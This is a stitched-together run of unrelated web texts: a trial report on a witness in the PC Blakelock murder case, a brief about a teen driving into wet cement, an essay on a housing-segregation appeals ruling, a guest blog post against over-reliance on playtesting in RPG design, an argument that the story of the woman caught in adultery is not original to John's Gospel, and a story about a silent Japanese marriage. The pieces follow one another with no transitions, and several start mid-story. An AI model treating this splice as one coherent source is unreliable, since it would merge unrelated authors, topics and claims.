"Did he say anything?" Mr Whittam asked.
Image copyright Julia Quenzler Image caption Nicholas Jacobs, portrayed on the first day of the trial, was not mentioned in John Brown's first statement in 1986, the court heard
"I just heard screams of 'Help, help, help'."
Mr Brown, a former member of the Park Lane Boys gang, who accepted a caution for assaulting his partner in 2010, said Mr Jacobs was wielding a machete with a 12-inch (30cm) blade.
"He was attacking the officer and hit him with a couple of blows on his body, stabbing up and down with the machete," he said.
He told the jury that he himself had kicked the officer some 10 times after he went to the ground.
Asked why, he said: "Looking back on it, I don't know.
"It was the excitement of the situation, I just rushed forward and kicked him about 10 times."
'Stockpiling petrol bombs'
Mr Brown told the court he was 18 or 19 years old at the time of the riots, while Mr Jacobs was 16.
He said the Park Lane Boys had been preparing for the riots days before PC Blakelock's death, by stockpiling petrol bombs at a fish and chip shop and it was "common knowledge" there was going to be trouble.
Image copyright Metropolitan Police Image caption The witness said petrol bombs had been stockpiled for days before the riot at Broadwater Farm estate
Image copyright Getty Images Image caption Cars were left overturned and burned out after the rioting in 1985
He told the jury that he had heard others say Mr Jacobs was going around saying he was going to "give an officer a hiding if he got the opportunity, or do some damage".
But the court heard that Mr Brown had not mentioned Mr Jacobs in the first statement he gave to police about the riots in 1986 and instead waited until later statements before placing him at the scene.
Cross-examining the witness, defence barrister Courtenay Griffiths QC said: "You very deliberately chose to name Nicky Jacobs; one, because he was young; two, because he posed no threat to you; and three, you quite wrongly thought that he had been charged with murder. Is that true?"
Mr Brown disagreed.
'Kickers and stabbers'
Moving on to a new statement Mr Brown made in 1993 claiming, for the first time, he saw Mr Jacobs using a machete, the defence barrister asked whether it had been done for the £5,000 police reward he received.
"No, definitely not," Mr Brown replied.
When a fresh investigation into PC Blakelock's death got under way in 1992, suspects were separated into "kickers and stabbers".
Those who had not used weapons - "kickers" - were given immunity from prosecution as police tried to identify who had stabbed the officer to death.
It was then Mr Brown gave evidence claiming for the first time that he had seen Jacobs use a weapon, the court heard.
Mr Griffiths asked the witness if police officers had visited him at his home in June 1993 and told him that, in order for there to be a "realistic prospect of prosecution", three or four witnesses would need to come forward.
He also asked if Mr Brown had then put his cousin up as an eyewitness in order to get the reward.
While he acknowledged police had visited him, Mr Brown said he "totally disagreed" with the barrister's claim.
Shadrach Yasiah was driving in Lincoln, the state's capital, on Wednesday when he drove through a 24-foot gap between traffic control cones and ended up getting his blue Honda Civic stuck in the fresh cement.
Police said the accident occurred on a portion of a road repair project. Police spokeswoman, Angela Sands, said Friday that police won't cite the 19-year-old driver.
Nebraska teen, Shadrach Yasiah, 19, could face a $10,000 bill after he plowed his blue Honda Civic (pictured) into newly poured concrete on Wednesday
City engineer, Thomas Shafer, says Yasiah (left) is responsible for the repairs. He says the contractor estimated it will cost more than $10,000 to pay for removing the car (right), scraping out the ruined slurry, repouring more cement and finishing it
A police incident report says it wasn't obvious that the concrete wasn't dry.
But city engineer, Thomas Shafer, says the driver is responsible for the repairs.
He says the contractor estimated it will cost more than $10,000 to pay for removing the car, scraping out the ruined slurry, repouring more cement and finishing it.
Shafer said the cement was 'probably less than 30 minutes old' when Yasiah drove into it.
'It was really not set up in any manner or fashion for a vehicle and they sunk up to the axles in it,' he told Fox 42.
These days, when few public officials are so incautious as to announce they are racists, a different Court decision would have hamstrung efforts to desegregate housing nationwide.
Justice Kennedy based his ruling, in part, on a brief submitted by “Housing Scholars” organized by the Haas Institute and the Economic Policy Institute. The brief recounted the long history of government sponsorship of racial segregation that had established the nation’s racial housing patterns. The Housing Scholars argued that, because of entrenched patterns attributable to government policy, seemingly race-neutral policies could have the effect of reinforcing the segregation that government had helped put in place.
Now, a federal appeals court based in California, again relying in part on the Housing Scholars brief, has developed Justice Kennedy’s theory further. The case arose from the refusal of the City of Yuma, Arizona to permit construction of moderate-cost single family homes adjacent to a neighborhood where homes were more expensive. Although opponents of the development never said openly that their objection was based on race, they attacked the proposal using code words alleging that the development would bring crime into the neighborhood, that some of the homes might be purchased by single-parent families, and that “unattended children would roam the streets.” (The appeals court observed that where whites are involved, it is called “letting children play in the neighborhood.”) The court said that a reasonable jury could interpret such objections as racially motivated.
It was generally understood in Yuma, but never said, that were the development to proceed, its homes would be purchased mostly by Hispanic families, whereas the adjacent, higher-cost, neighborhood was inhabited mostly by whites. Allowing Yuma’s prohibition to stand could result in Hispanic families being restricted only to neighborhoods where Hispanics were already a large majority—perpetuating segregation.
Yuma offered to find a site elsewhere in the city where the developer could construct comparable housing. But the appeals court dismissed such an offer, saying that “[t]ruly comparable housing… is not simply a question of price and model, but also of the factors that determine the desirability of particular locations—factors such as similarly or better performing schools, comparable infrastructure, convenience of public transportation, availability of amenities such as public parks and community athletic facilities, access to grocery or drug stores, as well as equal or lower crime levels.”
Citing the Housing Scholars brief, the appeals court noted that “[g]overnment policy, which promised not to change a neighborhood’s composition when constructing affordable housing, exacerbated the stark segregation in America’s cities.” The court also observed that “housing segregation both perpetuates and reflects this country’s basic problems regarding race relations: educational disparities, police-community relations, crime levels, wealth inequality, and even access to basic needs such as clean water and clean air. In this country, the neighborhood in which a person is born or lives will still far too often determine his or her opportunity for success. As the Supreme Court recognized [last June], the Fair Housing Act must play a ‘continuing role in moving the Nation toward a more integrated society’ and a more just one.”
Evidence for the wisdom of these insights is omnipresent, and continues to accumulate. Were African Americans in Flint, Michigan not residentially segregated, denying them “clean water” would have been inconceivable. If the segregation of West Baltimore’s citizens did not deny them “convenience of public transportation,” they would have access to metropolitan area jobs and their economic circumstances would improve. Many scholars have recently documented that “the neighborhood in which a person is born or lives will still far too often determine his or her opportunity for success.” Poor “police-community relations” (in the court’s euphemism), resulting in deaths of African Americans in Ferguson, Baltimore, Cleveland, and elsewhere, could only have taken place in segregated neighborhoods. When low-income minority children can attend truly integrated schools, their achievement rises, not because black children need to sit next to white children to succeed, but because integrated schools are not overwhelmed with children’s social and economic problems and can instead focus on instruction. The absence of supermarkets in segregated neighborhoods contributes to poor diets, reduced cognitive ability in children, higher health care costs, and shorter lifespans.
Housing segregation undergirds many of the nation’s seemingly intractable racial inequities. Federal courts may be starting to notice.
Texas Department of Housing and Community Affairs et al. v. Inclusive Communities Project, Inc., et al. 2015. No. 13–1371. Supreme Court of the United States. June 25. http://www.supremecourt.gov/opinions/14pdf/13-1371_m64o.pdf
Brief of Housing Scholars as Amici Curiae Supporting Respondent, 2014. Texas Department of Housing and Community Affairs, et al., Petitioners, v. The Inclusive Communities Project, Inc., Respondent., No. 13-1371, United States Supreme Court. Submitted December 23. http://diversity.berkeley.edu/sites/default/files/Amicus Brief EPI and Haas Institute Texas Housing Dec 2014.pdf
Avenue 6E Investments v. City of Yuma. 2016. No. 13-16159. United States Court of Appeals for the Ninth Circuit. March 25. http://www.epi.org/files/2016/Court-FHA-2016-Yuma.pdf
See, for example, a civil rights complaint recently filed by the NAACP Legal Defense Fund: Baltimore Regional Initiative Developing Genuine Equality, Inc., and Earl Andrews, Individually, Complainants, vs. State of Maryland, Maryland Department of Transportation, Maryland Transit Administration, and Maryland State Highway Administration, Respondents. Complaint Pursuant To Title Vi of The Civil Rights Act of 1964. U.S. Department of Transportation, Departmental Office of Civil Rights; Federal Highway Administration Office of Civil Rights. http://www.naacpldf.org/files/case_issue/Baltimore%20-Red-Line-Complaint.pdf
a guest post by Ben Lehman
Before I start, I just want to thank Vincent for giving me some space on his blog to discuss this. Being able to guest-post on anyway is pretty swell. Oh, and also, understand that the "you" in this essay is addressed from me, an amateur game designer, to other amateur game designers. If you're not a game designer, have fun reading some inside baseball. Okay, now on to the essay.
You need to stop playtesting. It's not just that you're doing it wrong, it's that you're doing it wrong in ways that hurt your games. Furthermore, by promoting a culture of design in which playtest is held up as the be all and end all of the design process, to which all other elements of design must bow down, you are causing at best cause other, newer designers to feel inferior and inadequate and at worse cause them to mutilate their own designs in ways similar to which you have mutilated your own.
Playtesting is fucking dangerous, and you need to stop doing it, stop talking about it, and stop using it as a substitute for the hard work of game design.
(I'm not saying don't playtest, btw. There is a very specific place for playtesting in the design process, which we'll get to at the end. I am saying that you need to stop playtesting because it is a terrible tool. If you were to see someone pushing a power drill towards their eyeball, you'd say "STOP DRILLING!" and not take the time comment about that the drill does have some appropriate uses.)
Here is a short sampling of the things that I regularly see people use playtesting for, but are terrible, no good, horrible ideas: Identifying rules and textual errors, mathematics and probability analysis, marketing and advertising, developing or finishing your game.
Let's take each in turn, shall we?
(A brief aside to define playtesting: it means an appropriately-sized group of people sitting down to test an unfinished game, putatively to assist in its design process.)
Textual Errors:
I hear people talk, sometimes, about "textual playtesting," where they use playtesters to test the coherency and completeness of their game text. This is a terrible idea, and results in mangled and incomplete texts and overconfident authors.
No one actually reads RPG texts. No, seriously, they're just not part of play. Whether or not your rules cohere in play has much more to do with your game's similarity to other games that they've played, and very little to do with the contents of the text. Your text could be totally complete and clear, and many RPG groups will muck it up anyway. Contrariwise, your text could be riddled with procedural and textual holes, and most groups that would playtest for you could make it work correctly.
Furthermore, since the effectiveness of a draft text is largely rooted in the group's prejudices, "textual playtesting" by groups who know who you are (and thus are willing to playtest your game) is not only likely to result in a chopped up, incoherent text, but is going to highly prejudice your text to be just like other games that you and your group of playtesting connections are familiar with. If you, like me, are interested in innovation, you can see the problem.
The right thing to do about textual errors is twofold: First, follow an effective and coherent didactic strategy; second, hire an editor who will provide you with structural feedback. Once your rules are already firmed up, take a look at good textbooks and board game rules and Jack Chick tracts, look at the different ways that teaching in text can be made to work effectively, pick a strategy, and pursue it with gusto and consistency. Then, turn it over to an editor who understands both good style and your goals and take almost every one of their suggestions for re-ordering and rewrites.
After this, I guess it couldn't hurt to turn it over to players for a round or two, as long as you don't compromise your didactic goals and run it through editing again, from scratch, if you make any changes. Personally, I'd just skip it: I think a competent editor knows better than any random group of gamers.
Rules Problems:
Okay, so sure, your game text shouldn't be playtested. But you should definitely test to look for rules holes and rules problems, right?
In a word, no.
In general, role-playing game rules are pretty simple. It's possible that your game is as complicated as Magic: the Gathering or Power Grid, in which case, yeah, exhaustive testing is the only possible way to discover that one particular subrule interferes in a bad way with some other particular subrule. Even then, it's not exactly a good tool: it's the best of a lot of terrible options.
But if your game is simpler, like say 3rd edition D&D (and most of my audience of game designers is producing games which are way simpler than 3rd edition D&D), you should have determined and fixed all rules holes well before they reach playtesting, not only because it is insulting to your testers and wastes their time, but because playtesting is simply a bad way to find rules holes.
(Let's define what I mean by "rules hole." I mean a gap where procedure of the game falls through: there's simply no way to proceed in the game. Also, I'm discussing "rules problems" which are rules that have detrimental effects on play: most commonly infinite loops or insufficiently thought-out mathematics, but also other things, like division of play responsibilities in such a way that it violates the Czege principle.)
Let's unpack that. Why is playtesting a terrible way to find rules holes? Simply put, unless you test exhaustively, you're not going to find all the rules holes and problems that are present in your game. This is almost tautological, but playing can only test the combinations and interactions which come up during play. All other possible combinations and interactions and rules uses are going to remain untested. Any rules holes or rules problems in that set are going to remain, often with detrimental effects on your game once it gets out in the world and all those unexamined holes are revealed through play.
For finding these problems and holes, though, playtesting isn't just inefficient and incomplete, it's also ineffective. Even considering the long odds that a particular rules hole will reveal itself during a playtest, most role-playing groups are not willing to simply leave a rules hole as a rules hole. They will patch it with their pre-conceptions, prejudices, and group social contract. Furthermore—and there's some interesting social context stuff here which I don't want to get into in this essay—they are not likely to even remember that the rules hole came up: once they've papered over it, it may as well not exist. The chances of actually getting them to report it to you, the designer are nearly nil. Even if you, the designer, are playing, the chances of you remembering it as a hole are low.
The right thing to do about rules holes is to take your rules set, once it's finished being written and modified and so on, and critically evaluate every possible rules interaction, looking for holes. Use a pencil and paper, if you're like me, or a blank text file, or even just your own head and the shower (although this can be dangerous: see above about memory holes.) Yes, this is a huge pain in the butt and it takes a long-ass time. It's also some of most important work you can do as a game designer, and if you're not willing to do it you should take up some other creative activity. The procedure for finding rules problems is similar, but requires even more critical faculty on your part.
Once you get good at this, you can start taking short cuts: "okay, so let's look at all abilities that work like this: can any of them cause unexpected interactions?" But ultimately you're going to have to do this a lot.
It's possible that your game has a lot of complicated interactions and nested cycles, in which case you may not actually be able to handle this. In this case, there are a couple of strategies. First, you could simply run through most of the common of the interactions, confirm that they basically work, and hope that no exotic ones come up in later play. Second, you can really get into your game, understanding its internal logic and appropriateness, which lets you review much faster, and does involve a fair amount of play (even solitaire, see below.) Third, you can change the mechanics of your game to include a cybernetic control system with the human players, which I will get into more in the next section.
A great tool for all of this is the imaginary play session. Just sit down and take on the role of several different players, with different personality and goals, playing your game. Figuring out how it works, from the inside, is a huge step towards the "logic and appropriateness" above.
Testing Mathematics and Probabilities:
This is, in many ways, a subset of the above, but I see people getting this wrong in such blatant ways that I think it deserves a particular call out. Playtesting is a terrible way to test the mathematics and probabilities of your game, which includes things like if the resolution system "feels whiffy" or whatever. Playtesting is absolutely not the place to determine this stuff, because no amount of playtesting will produce statistically significant results, and most games' probabilities are easily calculated anyway.
You know, I could write several paragraphs trying to explain that, but I don't know if I can do it in a clear way. Let me say it again in all caps: NO AMOUNT OF PLAYTESTING WILL PRODUCE STATISTICALLY SIGNFICANT RESULTS.
If you need me to clear that up for you, just ask in the comments.
The right practice, here, is to determine the results distribution of the game through probability calculation. I just do this with a pencil and paper, counting up probabilities on my fingers and applying my college probability class. If you're more spreadsheet / programmer oriented, you could do it with the monte-carlo method: have a computer run millions of tests of your mechanics and determine the probability distribution that way. If you're not into math or programming, just get a friend to help you: a lot of folks, including me, will do it pretty gladly.
It is possible that there are enough complicated loopy bits in your game mechanics that they elude rigorous calculation. Bliss Stage had this problem. The solution I implemented is to give a human player (in this case the GM) a throttle which they can use to accelerate or decelerate the mathematically unstable parts of the system (in this case, number of interlude scenes and, to a lesser degree, trauma spending strategies.) An additional advantage of this method is that it is called, I shit you not, a "cybernetic control system" which makes it 10 million times cooler than any other rules subsystem. (Dogs in the Vineyard also does this, with the Give rules.)
The absolute best practice in this case is to use simple enough mathematics that you don't need a lot of calculation to determine the probability distributions. Apocalypse World does this quite admirably, as do many other games.
Marketing:
You know all the stuff Vincent has been saying lately about the social context of game design, about your target audience, and how your game speaks to them or fails to speak to them? You know what won't help you find, develop for, speak to, or interact with your target audience? Playtesting.
If you don't have a target audience in mind, or if your target audience is something inaccessible or lame, your problem begins well before playtesting, and I really can't help you. Nor can anyone else. But if you know your target audience, and so on, and so forth, playtesting won't really help you unless your playtesters are composed of your target audience. Furthermore, even in that case, playtesting isn't the beginning of a conversation with your target audience. The beginning of the conversation is publication, and the continuation of the conversation is play.
Again, let's unpack. As a designer, your goals operate at both social and personal levels. At the social level, you're looking at the place you want your game to occupy in society and, in particular, in your subcultures. At the personal level, there's the aesthetics and premises you want to convey to each player of your game.
Playtesting fails at the social level simply because you can't "test" your games social impact: it's presence at that scale is basically a one time thing. There's no parallel societies in which to release your game once you've tested it in one.
(There's a possible exception here for people who write in languages other than English: you can use your native market as a test-bed for the global market. But if you publish in English, your first publication is going into the global market, with no takebacks.)
Playtesting fails at the personal communication level because a game is either not yet communicating what you want it to, in which case it needs further development but definitely hasn't succeeded in your artistic goals; or it does effectively communicate your goals in vision, in which case it's done and needs to be published.
In either case, playtesting is a means to prepare for an audience, not a means of finding or engaging with one.
Furthermore, in the land of sales and moneys, playtesting is pretty terrible advertising. While public playtesting can be a good way to generate "buzz" for your game, it doesn't often generate the sort of buzz you want (it's mostly buzz in a small group of insiders), in general, by the time that playtesting reports are good publicity for your game, playtesting itself is largely superfluous. Either playtesting is revealing problems with your game, in which case it's not good publicity, or its time that you should write your rules text, edit it, and publish it, in which case, stop playtesting.
There's a sidenote here, which is that there's a culture where endless playtest is, itself, a social entrance and a means of gaining social cred. To some degree, our over-playtesting has created this culture: you're not really "in" unless you're playing some unfinished game. For reasons both above and below, this is a terrible, terrible thing for actual game design. (I'm hesitating on elaborating here: I can probably unpack this more in the comments if anyone wants.)
Development:
Playtesting is an awful means of revising or developing your game rules. A lot of people seem to think that the process of playtesting is about revision, but in fact most rules revisions should come well before playtesting (see above), and the few remaining rules revisions should come well after playtesting. Never, under any circumstances, should a playtest group be revising the rules of the game. Neither is it a good practice to revise the rules of a game during a playtest.
The exact wrong people to tell you how to change your games rules are the players of the game, who are in the midst of the game's emotional and social manipulations, and cannot clearly see your design goals nor your own style. Allowing playtest groups to dictate rules changes violates your game's direction and focus, and results in confused, chopped up game texts full of a hodgepodge of different techniques from various people's favorite games. It drives against coherency and against enjoyment.
Furthermore, the amnesia of the game group (which was mentioned above) means that any rules changes that emerge from play are likely to be negotiated through the social consensus and prejudices of the group. It is highly unlikely that these rules will emerge in a state where they make any damn sense to anyone who wasn't a member of said group. So in addition to the scattering effect of letting playtesters develop your game, whatever rules changes that are made are likely to be superstitious garbage.
The best practice here is to design all rules changes yourself, in the context of your own understanding and testing of the design. No one knows the creative vision and focus of your game better than you. If you are unable to work out a solution to your rules issues, remember that playtesting is not a solution. Probably the best idea to to either let the game lie fallow for a bit, or to discuss the issue with trusted fellow designers, members of the target audience, or good friends (ideally: all of the above.) Generally speaking, in discussion, your own ideas are going to come to the surface and they'll fit much better.
("But what about playstorming!?" Go ahead. Ask me that. I dare you.)
Finishing Your Game:
I've saved the best (as in: the worst) for last. This here's the thing which I've read which most makes me aggravated: "I've taken a lot of time to carefully playtest the game. No rush to publication here! I took seven years testing it." This is absolutely bullshit. And it's not just, like, horrible self delusion that sitting around with your finger up your ass is making your game better. Nor is it just that you're absolutely wasting your own time, as well as the time of all your playtesters. This sort of thing is corrosive to the culture of play and design and you all need to stop this bullshit right now.
Rule of thumb: playtesting is like being engaged to be married: after a year you're just wasting your time. At full press of playtesting, a year is the absolute longest it should take to get a game into shape (it's okay to take longer than that when you add in writing the text, editing, layout, printing, marketing). If it takes longer than that there are a few possibilities: Your game is done and you should stop dwaddling and just publish already; you are not a good enough designer to finish this game right now and you should work on other projects and come back to it; you've been slacking off on your design process, which is fine but slacking off is not a fucking virtue; your game will never be good and you should stop wasting your time with this project and move on to others; you are artificially extending your playtest because you think it gets you more social cred to have games in development than actually ever finish a game; your game really is quite complicated and it just needs a little more testing to be great.
The reason that this is so harmful and corrosive is that it serves to make game design seem remote and inaccessible to novice and amateur designers, which is exactly the wrong thing for them to learn. "Oh, someone like me doesn't have the resources / time / commitment for the seven years of playtesting that real pros have to do. I guess I can never be a real game designer." Or, worse, they get caught in a cycle of endless fruitless playtesting, rather than finishing projects and learning and growing. Even worse, letting a playtest group mangle their game as described above. This is what happens when we let procrastination be turned into a virtue.
The best practice here is to shit or get off the pot. Failing that, stop acting so sanctimonious about it.
When to Playtest
Despite all of the above, playtesting is actually an important part of game design, it's just that it is a limited tool and, when misapplied, it is detrimental to both games and texts. So what is playtesting good for, anyway?
Playtesting is necessary for revealing problems with the parts of your game where the mechanics and processes of your game interface with the players at the table, and most particularly with their imaginations and social interactions (this is a broad definition of "mechanics and processes:" including such things as who speaks when, the game's setting, character-player relationships, and so on.) It is only useful for revealing problems, not resolving them, for the reasons noted above. It is useful for the parts of the game that rely on imagination and social interaction because these are the two things which you can't account for procedurally, and so problems there are invisible to your individual testing and calculation.
I should add a word about fun here. Included in this is whether or not the game is any fun (or, as I prefer to think of it, satisfying). For role-playing games, satisfaction is an emergent social property: we like what the game is doing to our imaginations and social interactions. There is, of course, a taste element to this, and because of this you should keep in mind the social context of your design and your target audience, just as you should throughout the whole design process. But there's also a lot that isn't a taste thing. Many games, particularly those in development, simply do not have that spark of satisfaction, and playtesting is required to reveal that.
Even then, playtesting is not a particularly satisfactory tool for determining these problems. Even with a great deal of playtesting, done appropriately, it is possible you will miss certain creative or social interactions which will cause problems with your game in play. But the problem is that there's simply no other way of knowing. Playtesting isn't miraculous, it's just the best of a bad job.
Of course, fixing it involves a lot of design work and creativity. The process is still a little misty to me, although I know it involves looking at how the moment-to-moment process of play is interacting with the goals for play, as well as a healthy dose of critically examining said goals altogether. Ultimately, I and most other designers rely on bolt-out-of-the-blue insights to resolve issues at this level.
The Takeaway
More playtest does not magically make your game better. Neither does it fix most problems that your game might have. It is not a replacement for skilled writing, a creative and technical vision, editing, inspiration, or game design work. It is a very specific tool for finding very specific problems, and attempts to use it beyond that are detrimental both to your own game design and to design culture in general.
It is also important when we embark on a playtest that we respect our playtesters' time and attention. Relying on playtest to point out textual, procedural, and mathematical flaws which could be more easily spotted with simple analysis is degrading to our playtesters and also simply bad game design practice. Stop it.
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For a long time, biblical scholars have recognized the poor textual credentials of the story of the woman caught in adultery (John 7:53–8:11). The evidence against its authenticity is overwhelming: The earliest manuscripts with substantial portions of John’s Gospel (P66 and P75) lack these verses. They skip from John 7:52 to 8:12. The oldest large codices of the Bible also lack these verses: codex Sinaiticus and Vaticanus, both from the fourth century, are normally considered to be the most important biblical manuscripts of the NT extant today. Neither of them has these verses. Codex Alexandrinus, from the fifth century, lacks several leaves in the middle of John. But because of the consistency of the letter size, width of lines, and lines per page, the evidence is conclusive that this manuscript also lacked the pericope adulterae. Codex Ephraemi Rescriptus, also from the fifth century, apparently lacked these verses as well (it is similar to Alexandrinus in that some leaves are missing). The earliest extant manuscript to have these verses is codex Bezae, an eccentric text once in the possession of Theodore Beza. He gave this manuscript to the University of Cambridge in 1581 as a gift, telling the school that he was confident that the scholars there would be able to figure out its significance. He washed his hands of the document. Bezae is indeed the most eccentric NT manuscript extant today, yet it is the chief representative of the Western text-type (the text-form that became dominant in Rome and the Latin West).
When P66, P75, Sinaiticus, and Vaticanus agree, their combined testimony is overwhelmingly strong that a particular reading is not authentic. But it is not only the early Greek manuscripts that lack this text. The great majority of Greek manuscripts through the first eight centuries lack this pericope. And except for Bezae (or codex D), virtually all of the most important Greek witnesses through the first eight centuries do not have the verses. Of the three most important early versions of the New Testament (Coptic, Latin, Syriac), two of them lack the story in their earliest and best witnesses. The Latin alone has the story in its best early witnesses.
Even patristic writers seemed to overlook this text. Bruce Metzger, arguably the greatest textual critic of the twentieth century, argued that “No Greek Church Father prior to Euthymius Zigabenus (twelfth century) comments on the passage, and Euthymius declares that the accurate copies of the Gospel do not contain it” (Textual Commentary, 2nd ed., loc. cit.).
It is an important point to note that although the story of the woman caught in adultery is found in most of our printed Bibles today, the evidence suggests that the majority of Bibles during the first eight centuries of the Christian faith did not contain the story. Externally, most scholars would say that the evidence for it not being an authentic part of John’s Gospel is rock solid.
But textual criticism is not based on external evidence alone; there is also the internal evidence to consider. This is comprised of two parts: intrinsic evidence has to do with what an author is likely to have written; transcriptional evidence has to do with how and why a scribe would have changed the text.
Intrinsically, the vocabulary, syntax, and style look far more like Luke than they do John. There is almost nothing in these twelve verses that has a Johannine flavor. And transcriptionally, scribes were almost always prone to add material rather than omit it—especially a big block of text such as this, rich in its description of Jesus’ mercy. One of the remarkable things about this passage, in fact, is that it is found in multiple locations. Most manuscripts that have it place it in its now traditional location: between John 7:52 and 8:12. But an entire family of manuscripts has the passage at the end of Luke 21, while another family places it at the end of John’s Gospel. Other manuscripts place it at the end of Luke or in various places in John 7.
The pericope adulterae has all the earmarks of a pericope that was looking for a home. It took up permanent residence, in the ninth century, in the middle of the fourth gospel.
If the question of its literary authenticity (i.e., whether it was penned by John) is settled, the question of its historical authenticity is not. It is indeed possible that these verses describe an actual incident in the life of Jesus and found their way into our Bibles because of having the ring of truth. On one level, if this is the case, then one might be forgiven for preaching the text on a Sunday morning. But to regard it as scripture if John did not write it is another matter. The problem is this: If John wrote his gospel as a tightly woven argument, with everything meeting a crescendo in the resurrection, would he be disturbed that some scribes started monkeying with his text? If we don’t respect the human author, then we could discount this issue. But if the Bible is both the Word of God and the words of men, then we are playing fast and loose with the human author’s purpose by adding anything—especially something as long as this passage—that takes a detour from his intentions. What preacher would be happy with someone adding a couple hundred words in the middle of his printed sermon as though such were from him? On another level, there is evidence that this story is a conflation from two different stories, one circulating in the east and the other circulating in the west. In other words, even the historicity of this pericope is called into question.
Yet, remarkably, even though most translators would probably deny John 7:53–8:11 a place in the canon, virtually every translation of the Bible has this text in its traditional location. There is, of course, a marginal note in modern translations that says something like, “Most ancient authorities lack these verses.” But such a weak and ambiguous statement is generally ignored by readers of Holy Writ. (It’s ambiguous because many readers might assume that in spite of the ‘ancient authorities’ that lack the passage, the translators felt it must be authentic.)
How, then, has this passage made it into modern translations? In a word, there has been a longstanding tradition of timidity among translators. One twentieth-century Bible relegated the passage to the footnotes, but when the sales were rather lackluster, it again found its place in John’s Gospel. Even the NET Bible (available at www.bible.org), for which I am the senior New Testament editor, has put the text in its traditional place. But the NET Bible also has a lengthy footnote, explaining the textual complications and doubts about its authenticity. And the font size is smaller than normal so that it will be harder to read from the pulpit! But we nevertheless made the same concession that other translators have about this text by leaving it in situ.
The climate has changed recently, however. In Bart Ehrman’s 2005 bestseller, Misquoting Jesus: The Story behind Who Changed the Bible and Why, the author discounts the authenticity of this pericope. What is remarkable is not that he does this, but that thousands of Bible-believing Christians have become disturbed by his assertions. Ehrman—a former evangelical and alum of Moody and Wheaton—is one of America’s leading textual critics. He has been on television and radio, in newspapers and magazines, and on the Internet. He has lectured at universities from sea to shining sea. What he wrote in his blockbuster book sent shockwaves through the Christian public.
I wrote a critique of Ehrman’s book that was published in the Journal of the Evangelical Theological Society. There I said, “keeping [John 7:53–8:11 and Mark 16:9–20] in our Bibles rather than relegating them to the footnotes seems to have been a bomb just waiting to explode. All Ehrman did was to light the fuse. One lesson we must learn from Misquoting Jesus is that those in ministry need to close the gap between the church and the academy. We have to educate believers. Instead of trying to isolate laypeople from critical scholarship, we need to insulate them. They need to be ready for the barrage, because it is coming. The intentional dumbing down of the church for the sake of filling more pews will ultimately lead to defection from Christ. Ehrman is to be thanked for giving us a wake-up call.”
I believe it’s time for us to own up to our tradition of timidity and recognize that this has not helped the Church in the long haul. It’s time to close the gap. I am calling for translators to remove this text from the Gospel of John and relegate it to the footnotes. Although this will be painful and will cause initial confusion, it is far better that laypeople hear the truth about scripture from their friends than from their enemies. They need to know that Christ-honoring, Bible-believing scholars also do not think that this text is authentic, and that such a stance has not shaken their faith one iota. No cardinal truth is lost if these verses go bye-bye; no essential doctrine is disturbed if they are cut from the pages of the Word of God. (Of course, if it is objected that since scholars are not absolutely sure that this text is inauthentic they therefore need to retain it in the text, it need only be said that such a policy practiced across the board would wreak havoc on our printed Bibles and would mushroom their size beyond recognizable proportions. In Acts alone, one textual tradition has 8.5% more material than has been traditionally printed in our Bibles, yet very few object to such variants being denied a place in the canon. Thus, to insist on having the pericope adulterae in a footnote is a nod toward its longstanding tradition in Bibles from the second millennium AD on.)
Of course, King James Only advocates will see things differently. Their claim is that modern translations are butchering the Bible by cutting out major texts. Not only is that quite an overstatement (since only two lengthy passages in the KJV NT are considered spurious by modern scholars—John 7:53–8:11 and Mark 16:9–20), but it also assumes what it needs to prove. Is it not possible that the KJV, based on half a dozen late manuscripts, has added to the Word of God rather than that modern translations, based on far more and much earlier manuscripts, have cut out portions of scripture? It is demonstrable that over time, the New Testament text has grown. The latest manuscripts have approximately 2% more material than the earliest ones. The problem is not that we have 98% of the Word of God; the problem is that we have 102%! Modern scholars are trying to burn off the dross to get to the gold. And one text that must go, in spite of our emotional attachment to it, is John 7:53–8:11.
One of the practical implications of this is as follows: When Christians are asked whether this beloved story should be cut out of their Bibles, they overwhelmingly and emphatically say no. The reason given: It’s always been in the Bible and scholars have no right to tamper with the text. The problem with this view is manifold. First, it is historically naïve because it assumes that this passage has always been in the Bible. Second, it is anti-intellectual by assuming that scholars are involved in some sort of conspiracy and that they have no basis for excising verses that exist in the printed text of the Bible. Without the slightest shred of evidence, many laypeople (and not a few pastors!) have a knee-jerk reaction to scholars who believe that these twelve verses are not authentic. What they don’t realize is that every Bible translation has to be reconstructed from the extant Greek New Testament manuscripts. No one follows just a single manuscript, because all manuscripts are riddled with errors. The manuscripts need to be examined, weighed, sifted, and eventually translated. Every textual decision requires someone to think through which reading is authentic and which is not. In the best tradition of solid Christian scholarship, textual critics are actually producing a Bible for Christians to read. Without biblical scholars, we would have no Bibles in our own languages. When laymen claim that scholars are tampering with the text, they are biting the hand that feeds them. Now, to be sure, there are biblical scholars who are attempting to destroy the Christian faith. And there are textual critics who are not Christians. But the great translations of our time have largely been done by honest scholars. Some of them are Christians, and some of them are not. But their integrity as scholars cannot be called into question when it comes to passages such as the pericope adulterae, since they are simply following in the train of Henry Alford by subjecting their conscience to the historical data.
The best of biblical scholarship pursues truth at all costs. And it bases its conclusions on real evidence, not on wishes, emotion, or blind faith. This is in line with the key tenets of historic Christianity: If God became man in time-space history, then we ought to link our faith to history. It must not be a leap of faith, but it should be a step of faith. The religion of the Bible is the only major religion in the world that subjects itself to historical inquiry. The Incarnation has forever put God’s stamp of approval on pursuing truth, wrestling with data, and changing our minds based on evidence. When we deny evidence its place and appeal to emotion instead, we are methodologically denying the significance of the Incarnation. Much is thus at stake when it comes to a text such as the story of the woman caught in adultery. What is at stake is not, as some might think, the mercy of God; rather, what is at stake is how we view the very Incarnation itself. Ironically, if we allow passages into the Gospels that do not have the best credentials, we are in fact tacitly questioning whether the Lord of the Gospels, Jesus Christ himself, became man, for we jettison historicity in favor of personal preference. By affirming a spurious passage about him we may be losing a whole lot more than we gain.
Otou Katayama, from Nara, southern Japan, continues to live with his three children and wife, Yumi, who perseveres in making conversation with him but has only ever received a nod or a grunt in response for 20 years.
The Japanese couple's silence was revealed by their 18-year-old son Yoshiki, who wrote into a TV show asking them to fix the situation as he had never heard them have a conversation.
Otou continues to live with his wife, Yumi, who perseveres in making conversation with him but has only ever received a nod or a grunt in response for 20 years
And sure enough, a meeting was arranged between them in the park where they had their first date, as their emotional children watched on.
'Somehow it's been a while since we talked.
'You were so concerned about the kids.
'Yumi up until now, you have endured a lot of hardship. I want you to know I'm grateful for everything.'
A meeting was arranged between them in Nara Park, where they had their first date
Their son Yoshiki (second from right), who wrote into a TV show asking them to fix the situation as he had never heard them have a conversation
